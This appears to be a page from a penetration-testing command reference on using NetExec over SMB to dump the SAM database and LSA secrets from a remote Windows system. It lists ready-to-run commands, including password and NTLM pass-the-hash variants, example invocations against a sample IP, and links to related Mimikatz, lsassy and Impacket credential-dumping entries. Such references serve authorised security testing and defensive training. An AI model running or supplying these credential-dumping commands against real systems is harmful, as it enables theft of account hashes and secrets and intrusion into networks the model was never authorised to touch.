NetExec SMB SAM & LSA Dump

Dump SAM database and LSA secrets from a remote Windows system via NetExec

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Hash Dumping
Platform: linux
Requires: password
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' --sam --lsa

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' --sam --lsa

With Log File requires password

nxc smb '<ip>' -u '<user>' -p '<password>' --sam --lsa --log nxc-dump

Examples

nxc smb '192.168.1.31' -u 'user' -p 'password' --sam --lsa

nxc smb '192.168.1.31' -u 'user' -p 'password' --sam --lsa --log us-mgmt-sam

Tags

nxc smb sam lsa hashes dump

Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
Impacket Targeted DCSync (Single User) DCSync only one specific account instead of replicating the whole NTDS. Massively…
Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
Mimikatz lsadump::dcsync Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR…
Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…